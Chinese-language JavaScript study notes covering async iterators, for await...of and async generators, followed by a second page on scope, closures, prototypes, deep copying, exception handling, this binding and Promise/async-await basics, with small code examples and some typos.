Iterator 接口是一种数据遍历的协议，只要调用遍历器对象的`next`方法，就会得到一个对象，表示当前遍历指针所在的那个位置的信息。`next`**方法返回的对象的结构是**`{value, done}`，其中`value`表示当前的数据的值，`done`是一个布尔值，表示遍历是否结束。

```js
function idMaker() {
  let index = 0;

  return {
    next: function() {
      return { value: index++, done: false };
    }
  };
}

const it = idMaker();

it.next().value // 0
it.next().value // 1
it.next().value // 2
// ...

```

变量`it`是一个遍历器（iterator）。每次调用`it.next()`方法，就返回一个对象，表示当前遍历位置的信息。

这里隐含着一个规定，`it.next()`方法必须是同步的，只要调用就必须立刻返回值。也就是说，一旦执行`it.next()`方法，就必须同步地得到`value`和`done`这两个属性。

如果遍历指针正好指向同步操作，当然没有问题，但对于异步操作，就不太合适了。

```js
function idMaker() {
  let index = 0;

  return {
    next: function() {
      return new Promise(function (resolve, reject) {
        setTimeout(() => {
          resolve({ value: index++, done: false });
        }, 1000);
      });
    }
  };
}
```

上面代码中，`next()`方法返回的是一个 Promise 对象，这样就不行，**不符合 Iterator 协议**，只要代码里面包含异步操作都不行。也就是说，**Iterator 协议里面`next()`方法只能包含同步操作。**

目前的解决方法是，将异步操作包装成 Thunk 函数或者 Promise 对象，即`next()`方法返回值的`value`属性是一个 Thunk 函数或者 Promise 对象，等待以后返回真正的值，而`done`属性则还是同步产生的。

```javascript
function idMaker() {
  let index = 0;

  return {
    next: function() {
      return {
        value: new Promise(resolve => setTimeout(() => resolve(index++), 1000)),
        done: false
      };
    }
  };
}

const it = idMaker();

it.next().value.then(o => console.log(o)) // 0
it.next().value.then(o => console.log(o)) // 1
it.next().value.then(o => console.log(o)) // 2
// ...
```

上面代码中，`value`属性的返回值是一个 Promise 对象，用来放置异步操作。

ES2018 引入了“异步遍历器”（Async Iterator），为异步操作提供原生的遍历器接口，即`value`和`done`这两个属性都是异步产生。

## 异步遍历的接口

异步遍历器的最大的语法特点，就是调用遍历器的`next`方法，返回的是一个 Promise 对象。

因此，可以使用`then`方法指定，这个 Promise 对象的状态变为`resolve`以后的回调函数。回调函数的参数，则是一个具有`value`和`done`两个属性的对象，这个跟同步遍历器是一样的。

一个对象的同步遍历器的接口，部署在`Symbol.iterator`属性上面。同样地，对象的异步遍历器接口，部署在`Symbol.asyncIterator`属性上面。不管是什么样的对象，只要它的`Symbol.asyncIterator`属性有值，就表示应该对它进行异步遍历。

```javascript
const asyncIterable = createAsyncIterable(['a', 'b']);
const asyncIterator = asyncIterable[Symbol.asyncIterator]();

asyncIterator
.next()
.then(iterResult1 => {
  console.log(iterResult1); // { value: 'a', done: false }
  return asyncIterator.next();
})
.then(iterResult2 => {
  console.log(iterResult2); // { value: 'b', done: false }
  return asyncIterator.next();
})
.then(iterResult3 => {
  console.log(iterResult3); // { value: undefined, done: true }
});
```

上面代码中，异步遍历器其实返回了两次值。第一次调用的时候，返回一个 Promise 对象；等到 Promise 对象`resolve`了，再返回一个表示当前数据成员信息的对象。这就是说，异步遍历器与同步遍历器最终行为是一致的，只是会先返回 Promise 对象，作为中介。

由于异步遍历器的`next`方法，返回的是一个 Promise 对象。因此，可以把它放在`await`命令后面。

```javascript
async function f() {
  const asyncIterable = createAsyncIterable(['a', 'b']);
  const asyncIterator = asyncIterable[Symbol.asyncIterator]();
  console.log(await asyncIterator.next());
  // { value: 'a', done: false }
  console.log(await asyncIterator.next());
  // { value: 'b', done: false }
  console.log(await asyncIterator.next());
  // { value: undefined, done: true }
}
```

上面代码中，`next`方法用`await`处理以后，就不必使用`then`方法了。整个流程已经很接近同步处理了。

注意，异步遍历器的`next`方法是可以**连续调用**的，不必等到上一步产生的 Promise 对象`resolve`以后再调用。这种情况下，`next`方法会累积起来，自动按照每一步的顺序运行下去。下面是一个例子，把所有的`next`方法放在`Promise.all`方法里面。

```js
const asyncIterable = createAsyncIterable(['a', 'b']);
const asyncIterator = asyncIterable[Symbol.asyncIterator]();
const [{value: v1}, {value: v2}] = await Promise.all([
  asyncIterator.next(), asyncIterator.next()
]);

console.log(v1, v2); // a b
```

## for await...of

`for...of`循环用于遍历同步的 Iterator 接口。新引入的`for await...of`循环，则是用于遍历异步的 Iterator 接口。

```javascript
async function f() {
  for await (const x of createAsyncIterable(['a', 'b'])) {
    console.log(x);
  }
}
// a
// b
```

上面代码中，`createAsyncIterable()`返回一个**拥有异步遍历器接口的对象**，`for...of`循环自动调用这个对象的异步遍历器的`next`方法，会得到一个 Promise 对象。`await`用来处理这个 Promise 对象，一旦`resolve`，就把得到的值（`x`）传入`for...of`的循环体。

`for await...of`循环的一个用途，是部署了 asyncIterable 操作的异步接口，可以直接放入这个循环。

```javascript
let body = '';

async function f() {
  for await(const data of req) body += data;
  const parsed = JSON.parse(body);
  console.log('got', parsed);
}
```

如果`next`方法返回的 Promise 对象被`reject`，`for await...of`就会报错，要用`try...catch`捕捉。

## 异步 Generator 函数

就像 Generator 函数返回一个同步遍历器对象一样，异步 Generator 函数的作用，是返回一个异步遍历器对象。

在语法上，异步 Generator 函数就是`async`函数与 Generator 函数的结合。

```javascript
async function* gen() {
  yield 'hello';
}
const genObj = gen();
genObj.next().then(x => console.log(x));
// { value: 'hello', done: false }
```

上面代码中，`gen`是一个异步 Generator 函数，执行后返回一个异步 Iterator 对象。对该对象调用`next`方法，返回一个 Promise 对象。

异步遍历器的设计目的之一，**就是 Generator 函数处理同步操作和异步操作时，能够使用同一套接口。**

```javascript
// 同步 Generator 函数
function* map(iterable, func) {
  const iter = iterable[Symbol.iterator]();
  while (true) {
    const {value, done} = iter.next();
    if (done) break;
    yield func(value);
  }
}

// 异步 Generator 函数
async function* map(iterable, func) {
  const iter = iterable[Symbol.asyncIterator]();
  while (true) {
    const {value, done} = await iter.next();
    if (done) break;
    yield func(value);
  }
}
```

上面代码中，`map`是一个 Generator 函数，第一个参数是可遍历对象`iterable`，第二个参数是一个回调函数`func`。`map`的作用是将`iterable`每一步返回的值，使用`func`进行处理。上面有两个版本的`map`，前一个处理同步遍历器，后一个处理异步遍历器，可以看到两个版本的写法基本上是一致的。

## yield\* 语句

`yield*`语句也可以跟一个异步遍历器。

```js
async function* gen1() {
  yield 'a';
  yield 'b';
  return 2;
}

async function* gen2() {
  // result 最终会等于 2
  const result = yield* gen1();
}
```

上面代码中，`gen2`函数里面的`result`变量，最后的值是`2`。

与同步 Generator 函数一样，`for await...of`循环会展开`yield*`。

```js
(async function () {
  for await (const x of gen2()) {
    console.log(x);
  }
})();
// a
// b
```

---

---
url: /js/m1yccaux/index.md
---
# 零碎的知识
### 断点调试

**作用**：帮助理解代码，工作时更快找到BUG

浏览器打开调试界面，开发者工具，点到源代码一栏(sources)，选择代码文件

**断点**：在某句代码上加的标记就叫断点，当程序执行到这句有标记的代码时会暂停下来

### 作用域

#### 函数作用域

1. 在函数内部申明的变量只能在函数内部被访问，外部无法直接访问
2. 函数的参数也是函数内部的局部变量

#### 块级作用域

使用`{}`包裹的代码被称为代码块，代码块内部申明的变量外部将【有可能】无法被访问

#### 全局作用域

1. 全局作用域中声明的变量，任何其它作用域都可以被访问
2. 尽可能少的声明全局变量，防止全局变量被污染

#### 作用域链

函数内部创建的新函数，会产生新的函数作用域，由此可知作用域产生了嵌套的关系。

父子关系的作用域关联在一起形成了链状的结构

作用域链本质上是底层的变量查找机制，在函数被执行时，会优先查找当前函数作用域中查找变量，如果当前作用域查找不到则会依次逐级查找父级作用域直到全局作用域

### 闭包

使用闭包能够访问函数作用域中的变量。从代码形式上看闭包是一个做为返回值的函数

```javascript
function outer() {
      let count = 1
      function fn() {
        count++
        console.log(`函数被调用${count}次`)
      }
      return fn
    }
    const re = outer()
```

总结：

闭包 = 内层函数 + 外层函数的变量

作用：

* 封闭数据，实现数据私有，外部也可以访问函数内部的变量

* 闭包很有用，因为它允许将函数与其所操作的某些数据（环境）关联起来

* 可能会造成内存泄漏

### 函数

动态参数

`arguments` 是函数内部内置的伪数组变量，它包含了调用函数时传入的所有实参

```javascript
// 求生函数，计算所有参数的和
  function sum() {
    // console.log(arguments)
    let s = 0
    for(let i = 0; i < arguments.length; i++) {
      s += arguments[i]
    }
    console.log(s)
  }
  // 调用求和函数
  sum(5, 10)// 两个参数
  sum(1, 2, 4) // 两个参数
```

总结：

1. `arguments` 是一个伪数组
2. `arguments` 的作用是动态获取函数的实参

#### 剩余参数

```javascript
 function config(baseURL, ...other) {
    console.log(baseURL) // 得到 'http://baidu.com'
    console.log(other)  // other  得到 ['get', 'json']
  }
  // 调用函数
  config('http://baidu.com', 'get', 'json');
```

总结：

1. `...` 是语法符号，置于最末函数形参之前，用于获取多余的实参
2. 借助 `...` 获取的剩余实参，是个真数组

### 箭头函数

总结：

1. 箭头函数属于表达式函数，因此**不存在函数提升**
2. 箭头函数只有一个参数时可以省略圆括号 `()`
3. 箭头函数函数体只有一行代码时可以**省略**花括号 `{}`，并自动做为返回值被返回

#### 箭头函数参数箭头函数 this

箭头函数中没有 `arguments`，只能使用 `...` 动态获取实参

```javascript
 // 1. 利用箭头函数来求和
    const getSum = (...arr) => {
      let sum = 0
      for (let i = 0; i < arr.length; i++) {
        sum += arr[i]
      }
      return sum
    }
    const result = getSum(2, 3, 4)
    console.log(result) // 9
```

#### 箭头函数 this

箭头函数不会创建自己的this,它只会从自己的作用域链的上一层沿用this。

```javascript
 const fn = () => {
       console.log(this)  // window
     }
     fn()
 const obj = {
       uname: 'pink老师',
       sayHi: () => {
        console.log(this)  // window
       }
     }
     obj.sayHi()
```

## 构造函数

构造函数是专门用于创建对象的函数，如果一个函数使用`new`关键字调用，那么这个函数就是构造函数

总结：

1. 使用 `new` 关键字调用函数的行为被称为实例化
2. 实例化构造函数时没有参数时可以省略 `()`
3. 构造函数的返回值即为新创建的对象
4. 构造函数内部的 `return` 返回的值无效！

注：实践中为了从视觉上区分构造函数和普通函数，习惯将构造函数的首字母大写。

### 实例成员

通过构造函数创建的对象称为实例对象，实例对象中的属性和方法称为实例成员。

总结：

1. 构造函数内部 `this` 实际上就是实例对象，为其动态添加的属性和方法即为实例成员
2. 为构造函数传入参数，动态创建结构相同但值不同的对象

注：构造函数创建的实例对象彼此独立互不影响。

### 静态成员

在JavaScript中低层函数本质也是对象类型，因此允许直接为函数动态添加属性或者方法，构造函数的属性和方法被称为静态成员。

```javascript
  // 构造函数
  function Person(name, age) {
    // 省略实例成员
  }
  // 静态属性
  Person.eyes = 2
  Person.arms = 2
  // 静态方法
  Person.walk = function () {
    console.log('^_^人都会走路...')
    // this 指向 Person
    console.log(this.eyes)
  }
```

总结：

1. 静态成员指的是添加到构造函数本身的属性和方法
2. 一般**公共特征**的属性或方法静态成员设置为静态成员
3. 静态成员方法中的 `this` 指向构造函数本身

## 内置构造函数

在 JavaScript 中**最主要**的数据类型有 6 种，分别是字符串、数值、布尔、undefined、null 和 对象，常见的对象类型数据包括数组和普通对象。其中字符串、数值、布尔、undefined、null 也被称为简单类型或基础类型，**对象也被称为引用类型**。

在 JavaScript 内置了一些构造函数，绝大部的**数据处理**都是基于这些构造函数实现的，JavaScript 基础阶段学习的 `Date` 就是内置的构造函数。

```javascript
// 实例化
  let date = new Date();
  
  // date 即为实例对象
  console.log(date);
```

## 面向过程

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109337_0.png)

面向过程就是分析出解决问题所需要的步骤，然后用函数将这些步骤一一实现，使用的时候在一个一个的一次调用即可。

## 面向对象

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109339_0.png)

在面向对象程序开发思想中，每一个对象都是功能中心，具有明确分工。

面向对象编程具有灵活，代码可以重复使用，容易维护和开发的优点，更适合多人合作的大型软件项目

特性：

* 封装性

* 继承性

* 多态性

  封装是面向对象思想中比较重要的一部分，JavaScript面向对象可以通过构造函数实现的封装

  同样的将变量和函数组合到了一起并且能通过this实现数据共享，所不同的是借助构造函数创建出来的实例对象之间是彼此不影响的

  > 总结：
  > 构造函数体现了面向对象的封装特性
  >
  > 构造函数实例创建的对象彼此独立，互不影响

面向对象和面向过程两个开发思想的区别：

* 面向对象：分工明确，合作完成
* 面向过程：步骤明确，步步完成

## 原型对象

构造函数通过原型分配的函数是所有对象所共享的(理解：所有实例化对象都可以调用其构造函数中的方法或者属性)

JavaScript规定，每一个构造函数都有一个**prototype属性**，指向另一个对象，所以我们也称为**原型对象**

这个对象可以挂载函数，对象实例化不会多次创建原型上函数，节约内存

我们可以把那些不变的方法，直接定义在prototype对象上，这样所有对象的实例就可以共享这些方法

构造函数和原型对象的this都指向实例化对象

> #### 构造函数与原型对象的关系: (?)
>
> * **构造函数**用于创建对象实例，并初始化对象的属性。
> * **原型对象**用于存储对象实例共享的属性和方法，并通过原型链实现继承。
> * 构造函数和原型对象共同作用，构成了 JavaScript 的面向对象编程基础。
>
> 理解构造函数与原型对象的关系对于掌握 JavaScript 的面向对象编程至关重要。

#### 原型对象具体作用:

```javascript
  function Person() {
    // 此处未定义任何方法
  }

  // 为构造函数的原型对象添加方法
  Person.prototype.sayHi = function () {
    console.log('Hi~');
  }
  
  // 实例化
  let p1 = new Person();
  p1.sayHi(); // 输出结果为 Hi~
// 构造函数 Person 中未定义任何方法，这时实例对象调用了原型对象中的方法 sayHi
 function Person() {
    // 此处定义同名方法 sayHi
    this.sayHi = function () {
      console.log('嗨!');
    }
  }

  // 为构造函数的原型对象添加方法
  Person.prototype.sayHi = function () {
    console.log('Hi~');
  }

  let p1 = new Person();
  p1.sayHi(); // 输出结果为 嗨!
// 构造函数 Person 中定义与原型对象中相同名称的方法，这时实例对象调用则是构造函中的方法 sayHi。
```

总结：

* 通过上述例子发现JavaScript对象的工作机制是：当访问对象的属性或者方法时，先在当前实例对象上查找，然后再去原型对象查找，并且**原型对象所有实例共享**
* 结合构造函数原型的特征，实际开发重往往会将封装的功能函数添加到原型对象中。

## constructor 属性

每个原型对象都有个constructor属性（construction构造函数）

作用：该属性指向该原型对象的构造函数，简单理解就是指向我的爸爸，我是我爸爸的孩子

**使用场景：**

如果有多个对象的方法，我们可以给原型对象采取对象形式赋值.

但是这样就会覆盖构造函数原型对象原来的内容，这样修改后的原型对象 constructor 就不再指向当前构造函数了

此时，我们可以在修改后的原型对象中，添加一个 constructor 指向原来的构造函数。

### 对象原型

对象都会有一个属性 **proto** 指向构造函数的 prototype 原型对象，之所以我们对象可以使用构造函数 prototype

原型对象的属性和方法，就是因为对象有 **proto** 原型的存在。

注意：

* **proto** 是JS非标准属性
* \[\[prototype]]和\_\_proto\_\_意义相同
* 用来表明当前实例对象指向哪个原型对象prototype
* \_\_proto\_\_对象原型里面也有一个 constructor属性，指向创建该实例对象的构造函数

### 原型继承

继承是面向对象编程的另一个特征，通过继承进一步提升代码封装的程度，JavaScript 中大多是借助原型对象实现继承

的特性。

龙生龙、凤生凤、老鼠的儿子会打洞描述的正是继承的含义。

```javascript
// 继续抽取   公共的部分放到原型上
    // const Person1 = {
    //   eyes: 2,
    //   head: 1
    // }
    // const Person2 = {
    //   eyes: 2,
    //   head: 1
    // }
    // 构造函数  new 出来的对象 结构一样，但是对象不一样
    function Person() {
      this.eyes = 2
      this.head = 1
    }
    // console.log(new Person)
    // 女人  构造函数   继承  想要 继承 Person
    function Woman() {

    }
    // Woman 通过原型来继承 Person
    // 父构造函数（父类）   子构造函数（子类）
    // 子类的原型 =  new 父类  
    Woman.prototype = new Person()   // {eyes: 2, head: 1} 
    // 指回原来的构造函数
    Woman.prototype.constructor = Woman

    // 给女人添加一个方法  生孩子
    Woman.prototype.baby = function () {
      console.log('宝贝')
    }
    const red = new Woman()
    console.log(red)
    // console.log(Woman.prototype)
    // 男人 构造函数  继承  想要 继承 Person
    function Man() {

    }
    // 通过 原型继承 Person
    Man.prototype = new Person()
    Man.prototype.constructor = Man
    const pink = new Man()
    console.log(pink)
```

### 原型链

基于原型对象的继承使得不同构造函数的原型对象关联在一起，并且这种关联的关系是一种链状的结构，我们将原型对象的链状结构关系称为原型链

![原型链](https://img.yumgjs.com/2025-05-25%2F212644.png){width="70%"}

![](https://raw.githubusercontent.com/fish81/typora-uploads-images/main/image/1744109347_0.png)

```javascript
 // function Objetc() {}
    console.log(Object.prototype)
    console.log(Object.prototype.__proto__)

    function Person() {

    }
    const ldh = new Person()
    // console.log(ldh.__proto__ === Person.prototype)
    // console.log(Person.prototype.__proto__ === Object.prototype)
    console.log(ldh instanceof Person)
    console.log(ldh instanceof Object)
    console.log(ldh instanceof Array)
    console.log([1, 2, 3] instanceof Array)
    console.log(Array instanceof Object)
```

① 当访问一个对象的属性（包括方法）时，首先查找这个对象自身有没有该属性。

② 如果没有就查找它的原型（也就是 \_\_proto\_\_指向的 prototype 原型对象）

③ 如果还没有就查找原型对象的原型（Object的原型对象）

④ 依此类推一直找到 Object 为止（null）

⑤ \_\_proto\_\_对象原型的意义就在于为对象成员查找机制提供一个方向，或者说一条路线

⑥ 可以使用 instanceof 运算符用于检测构造函数的 prototype 属性是否出现在某个实例对象的原型链上

## 深浅拷贝

首先浅拷贝和深拷贝只针对引用类型

### 浅拷贝

浅拷贝：拷贝的是地址

常见方法：

* 拷贝对象：Object.assgin()  /  展开运算符 {...obj} 拷贝对象
* 拷贝数组：Array.prototype.cancat() 或者 \[...arr]

> 如果是简单数据类型拷贝值，引用数据类型拷贝的是地址（简单理解：如果是单层对象，没问题，但是有多层就有问题）

### 深拷贝

深拷贝：拷贝的是对象，不是地址

常见方法：

* 通过递归实现深拷贝
* lodash/cloneDeep
* 通过JSON.stringify()实现

#### 递归实现深拷贝

函数递归：

定义：如果一个函数在内部可以调用其本身，那么这个函数就是**递归函数**

* 简单理解：函数内部自己调用自己，这个函数就是递归函数

* 递归函数的作用和循环类似

* 由于递归很容易发生“栈溢出”错误(stack overflow) ,所以必须加退出条件return

```javascript
const obj = {
      uname: 'pink',
      age: 18,
      hobby: ['乒乓球', '足球'],
      family: {
        baby: '小pink'
      }
    }
    const o = {}
    // 拷贝函数
    function deepCopy(newObj, oldObj) {
      debugger
      for (let k in oldObj) {
        // 处理数组的问题  一定先写数组 在写 对象 不能颠倒
        if (oldObj[k] instanceof Array) {
          newObj[k] = []
          //  newObj[k] 接收 []  hobby
          //  oldObj[k]   ['乒乓球', '足球']
          deepCopy(newObj[k], oldObj[k])
        } else if (oldObj[k] instanceof Object) {
          newObj[k] = {}
          deepCopy(newObj[k], oldObj[k])
        }
        else {
          //  k  属性名 uname age    oldObj[k]  属性值  18
          // newObj[k]  === o.uname  给新对象添加属性
          newObj[k] = oldObj[k]
        }
      }
    }
    deepCopy(o, obj) // 函数调用  两个参数 o 新对象  obj 旧对象
    console.log(o)
    o.age = 20
    o.hobby[0] = '篮球'
    o.family.baby = '老pink'
    console.log(obj)
    console.log([1, 23] instanceof Object)
    // 复习
    // const obj = {
    //   uname: 'pink',
    //   age: 18,
    //   hobby: ['乒乓球', '足球']
    // }
    // function deepCopy({ }, oldObj) {
    //   // k 属性名  oldObj[k] 属性值
    //   for (let k in oldObj) {
    //     // 处理数组的问题   k 变量
    //     newObj[k] = oldObj[k]
    //     // o.uname = 'pink'
    //     // newObj.k  = 'pink'
    //   }
    // }
```

#### JavaScript库 lodsh里面 cloneDeep内部实现了深拷贝

> `lodash` 是一个流行的 JavaScript 工具库，提供了许多实用的函数，其中 `_.cloneDeep` 方法用于实现对象的深拷贝。

```javascript
<script src="./lodash.min.js"></script>
  <script>
    const obj = {
      uname: 'pink',
      age: 18,
      hobby: ['乒乓球', '足球'],
      family: {
        baby: '小pink'
      }
    }
    const o = _.cloneDeep(obj)
    console.log(o)
    o.family.baby = '老pink'
    console.log(obj)
```

#### JSON序列化

```javascript
 const obj = {
      uname: 'pink',
      age: 18,
      hobby: ['乒乓球', '足球'],
      family: {
        baby: '小pink'
      }
    }
    // 把对象转换为 JSON 字符串
    // console.log(JSON.stringify(obj))
    const o = JSON.parse(JSON.stringify(obj))
    console.log(o)
    o.family.baby = '123'
    console.log(obj)
```

## 异常处理

> 防止程序异常时而导致程序直接停止，提前布置异常处理方法

#### throw

异常处理是指预估代码执行过程中可能出现的错误，然后最大程度的避免错误的发生导致整个程度无法继续运行

总结：

* throw 抛出异常信息。程序也会终止运行
* throw后面跟的是错误提示信息
* Error对象配合throw 使用，能够设置更详细的错误信息

```javascript
 function counter(x, y) {

    if(!x || !y) {
      // throw '参数不能为空!';
      throw new Error('参数不能为空!')
    }

    return x + y
  }

  counter()
```

#### try ... catch

```JavaScript
function foo() {
      try {
        // 查找 DOM 节点
        const p = document.querySelector('.p')
        p.style.color = 'red'
      } catch (error) {
        // try 代码段中执行有错误时，会执行 catch 代码段
        // 查看错误信息
        console.log(error.message)
        // 终止代码继续执行
        return

      }
      finally {
          alert('执行')
      }
      console.log('如果出现错误，我的语句不会执行')
    }
    foo()
```

总结：

* `try .. catch`用于捕获错误信息

* 将预估可能发生的错误的代码写在`try`代码段中

* 如果 `try` 代码段中出现错误后，会执行 `catch` 代码段，并截获到错误信息

#### debugger

相当于断点调试

## 处理this

> 函数中this在不同场景下的默认值，动态指定函数的this值

`this` 是 JavaScript 最具“魅惑”的知识点，不同的应用场合 `this` 的取值可能会有意想不到的结果，在此我们对以往学习过的关于【 `this` 默认的取值】情况进行归纳和总结。

### 普通函数

**普通函数**的调用方式决定了 `this` 的值，即【谁调用 `this` 的值指向谁】

```JavaScript
// 普通函数
  function sayHi() {
    console.log(this)  
  }
  // 函数表达式
  const sayHello = function () {
    console.log(this)
  }
  // 函数的调用方式决定了 this 的值
  sayHi() // window
  window.sayHi()
  

// 普通对象
  const user = {
    name: '小明',
    walk: function () {
      console.log(this)
    }
  }
  // 动态为 user 添加方法
  user.sayHi = sayHi
  uesr.sayHello = sayHello
  // 函数调用方式，决定了 this 的值
  user.sayHi()
  user.sayHello()
```

注： 普通函数没有明确调用者时 `this` 值为 `window`，**严格模式**下没有调用者时 `this` 的值为 `undefined`。

### 箭头函数

**箭头函数**中的 `this` 与普通函数完全不同，也不受调用方式的影响，事实上箭头函数中并不存在 `this` ！箭头函数中访问的 `this` 不过是箭头函数所在作用域的 `this` 变量。

```JavaScript
  console.log(this) // 此处为 window
  // 箭头函数
  const sayHi = function() {
    console.log(this) // 该箭头函数中的 this 为函数声明环境中 this 一致
  }
  
```

在开发中【使用箭头函数前需要考虑函数中 `this` 的值】，**事件回调函数**使用箭头函数时，`this` 为全局的 `window`，因此DOM事件回调函数不推荐使用箭头函数，如下代码所示：

```javascript
// DOM 节点
  const btn = document.querySelector('.btn')
  // 箭头函数 此时 this 指向了 window
  btn.addEventListener('click', () => {
    console.log(this)
  })
  // 普通函数 此时 this 指向了 DOM 对象
  btn.addEventListener('click', function () {
    console.log(this)
  })
```

同样由于箭头函数 `this` 的原因，**基于原型的面向对象也不推荐采用箭头函数**，如下代码所示：

```javascript
function Person() {
  }
  // 原型对像上添加了箭头函数
  Person.prototype.walk = () => {
    console.log('人都要走路...')
    console.log(this); // window
  }
  const p1 = new Person()
  p1.walk()
```

### 改变this指向

以上归纳了普通函数和箭头函数中关于 `this` 默认值的情形，不仅如此 JavaScript 中还允许指定函数中 `this` 的指向，有 3 个方法可以动态指定普通函数中 `this` 的指向：

#### call

使用 `call` 方法调用函数，同时指定函数中 `this` 的值，使用方法如下代码所示：

```javascript
// 普通函数
  function sayHi() {
    console.log(this);
  }

  let user = {
    name: '小明',
    age: 18
  }

  let student = {
    name: '小红',
    age: 16
  }

  // 调用函数并指定 this 的值
  sayHi.call(user); // this 值为 user
  sayHi.call(student); // this 值为 student

  // 求和函数
  function counter(x, y) {
    return x + y;
  }

  // 调用 counter 函数，并传入参数
  let result = counter.call(null, 5, 10);
  console.log(result);
```

总结：

1. `call` 方法能够在调用函数的同时指定 `this` 的值
2. 使用 `call` 方法调用函数时，第1个参数为 `this` 指定的值
3. `call` 方法的其余参数会依次自动传入函数做为\*\*函数的参数

#### apply

```javascript
 // 普通函数
  function sayHi() {
    console.log(this)
  }

  let user = {
    name: '小明',
    age: 18
  }

  let student = {
    name: '小红',
    age: 16
  }

  // 调用函数并指定 this 的值
  sayHi.apply(user) // this 值为 user
  sayHi.apply(student) // this 值为 student

  // 求和函数
  function counter(x, y) {
    return x + y
  }
  // 调用 counter 函数，并传入参数
  let result = counter.apply(null, [5, 10])
  console.log(result)
```

总结：

1. `apply` 方法能够在调用函数的同时指定 `this` 的值
2. 使用 `apply` 方法调用函数时，第1个参数为 `this` 指定的值
3. `apply` 方法第2个参数为数组，数组的单元值依次自动传入函数做为函数的参数

#### bind

`bind` 方法并**不会调用函数**，而是创建一个指定了 `this` 值的新函数，使用方法如下代码所示：

```javascript
 // 普通函数
  function sayHi() {
    console.log(this)
  }
  let user = {
    name: '小明',
    age: 18
  }
  // 调用 bind 指定 this 的值
  let sayHello = sayHi.bind(user);
  // 调用使用 bind 创建的新函数
  sayHello()
```

注：`bind` 方法创建新的函数，与原函数的**唯一的变化**是改变了 `this` 的值。

## 防抖节流

* 防抖（debounce），就是指触发事件后在n秒内函数只能执行一次，如果在n秒内又触发了事件，则会重新计算函数执行时间
* 节流（throttle），就是指连续触发事件但是在n秒内只执行一次函数

## Promise入门

Promise是ES6规范中的一门新技术，它是一个构造函数，用来封装一个异步操作并且可以获取其成功/失败的结果值

### 创建Promise实例对象

```js
const p=new Promise((resolve,reject)=>{
     resolve("Success"); // 异步操作成功时调用
     reject("Error"); // 失败时调用
})
```

* Pending未决定的
* Resolved / Fullfiled 成功
* Rejected 失败

Resolve调用后可以将promise对象的状态设置为成功
Reject 调用后可以将promise对象的状态设置为失败

* Pending=>resolved/ fullfiled
* Pending=>rejected

只有这两种情况，且一个promise对象只能改变一次
Resolve和reject函数可以传参数，之后在then的两个回调函数里面可以接收到

### 指定回调函数

调用then方法
then有两个参数并且都是函数，第一个是promise对象成功的回调，第二个是失败回调

```js
p.then((value)=>{
        console.log(value)
},(reason)=>{
        console.log(reason)
})
```

### API

**Promise(excutor){}**
Excutor函数:执行器(resolve,reject)=>{}
resolve函数：内部定义成功时就调用 value=>{}
reject函数：内部定义失败时就调用 reason=>{}
说明：excutor会在Promise内部立即同步调用，异步操作会在执行器中执行

**Promise.prototype.then**
实例对象.then(成功回调，失败回调)
说明：返回一个新的promise对象
返回的promisei结果由then()指定的回调函数执行的结果决定

**Promise.prototype.catch**
失败回调函数
p.catch(reason=>{...})

**promise.resolve**

```js
let p1=promise.resolve(233)
Let p2=promise.resolve(new Promise((Resolve,Reject)=>{
Resolve(‘OK’)
}))
//如果传入的参数为非promise类型对象，则返回的结果为成功promise对象
//如果传入的参数为promise对象，则参数的结果决定了resolve的结果
```

**promise.reject**

```js
let p1=promise.reject(233);
//返回的结果永远是失败的，即使参数是一个promise实例对象并且成功
```

**promise.all**
参数是包括了n个promise的数组
说明：返回一个新的promise，只有数组中所有的promise都成功才成功，只要有一个失败就直接失败

```js
let p1=new promise((resolve,reject)=>{resolve(“OK”)})
let p2=promise.resolve(“Success”)
let p3=promise=resolve(“yes”)
const result=promise.all([p1,p2,p3])
```

**promise.race**
参数是包括了n个promise的数组
说明：返回一个新的promise，第一个完成的promise的结果就是最终的结果状态

```js
const result=promise.race([p1,p2,p3])
//由p1决定结果
```

**promise状态**
除了resolve和reject可以修改promise状态
还可以用throw（抛出）

```js
throw 'error';
```

**多个回调函数**
一个promise指定多个失败/成功回调，当promise改为对应状态时都会调用

**执行顺序**
正常情况是先指定回调再改变状态，但也可以先改变状态再指定回调
先改变状态再指定回调：

* 在执行中直接调用resolve或者reject
* 延迟更长时间才调用then

先指定回调再改变状态：

* 当实例对象中是一个异步任务的时候

**串联多个任务**
链式调用：
then返回一个新的promise，可以开成then的链式调用
通过then的链式调用串联多个同步/异步任务

```js
 let p =new Promise((resolve,reject)=>{
        setTimeout(()=>{  
            resolve("OKK")
        },1000)
       })
p.then(value=>{
    return new Promise((resolve,reject)=>{
        resolve("success")
    })
}).then(value=>{
    console.log(value) // success
}).then(value=>{
    console.log(value) // undefined
})
```

**异常穿透**
当使用promise的then链式调用时候，可以在最后指定失败的回调
前面任何操作出了异常，都会传到最后失败的回调中处理

```js
 let p =new Promise((resolve,reject)=>{
        setTimeout(()=>{  
            resolve("OKK")
        },1000)
       })
p.then(value=>{
    return new Promise((resolve,reject)=>{
        resolve("success")
    })
}).then(value=>{
    console.log(value) // success
}).then(value=>{
    console.log(value) // undefined
}).catch((reason)=>{ 
console.log(reason);
})
```

在最后加.catch(reason=>{...})，使用then也行

**中断promise链**
当使用promise链式调用时，在中间中断，不在调用后面的回调函数
方法：在回调函数中返回一个pendding状态的promise

```js
return new promise(()=>{})
```

**Async**
函数的返回值为promise对象
Promise对象的结果由async函数执行的返回值决定

* 如果返回值是一个非promise类型的数据，结果就是成功的
* 如果返回值是一个promise对象，resolve就成功，reject就失败
* 如果是抛出异常(throw)，结果是一个失败的promise对象

```js
async function main(){
     return new Promise((resolve,reject)=>{
          resolve()
})
}
Let result =main()
//它和then方法返回规则是一样的
```

**await**
await右侧的表达式一般为promise对象，但也可以是其他值

* 如果表达式是promise对象，await返回的是promise成功的值
* 如果表达式是其他的值，直接将此值作为await的返回值
  注意：
  await必须写在async函数中，但async函数中可以没有await
  如果await的promise失败了，就会抛出异常，需要同过try...catch捕获处理

```js
 try {
            let result = await new Promise((resolve,reject)=>{
                reject()
             })              
} catch (error) {
       reject(error)
}
```

**async和await结合实践**

```js
try{
     let data1=await _promise对象_
     let data2=await _promise对象_
     let data3=await _promise对象_
}catch(error){
     console.log(error)
}
```

**事件循环机制**
async函数在抛出返回值时，会根据返回值类型开启不同数目的微任务

* return结果值：非thenable、非promise（不等待）
* return结果值：thenable（等待 1个then的时间）
* return结果值：promise（等待 2个then的时间）

await右值类型区别

* 接非 thenable 类型，会立即向微任务队列添加一个微任务then，但不需等待
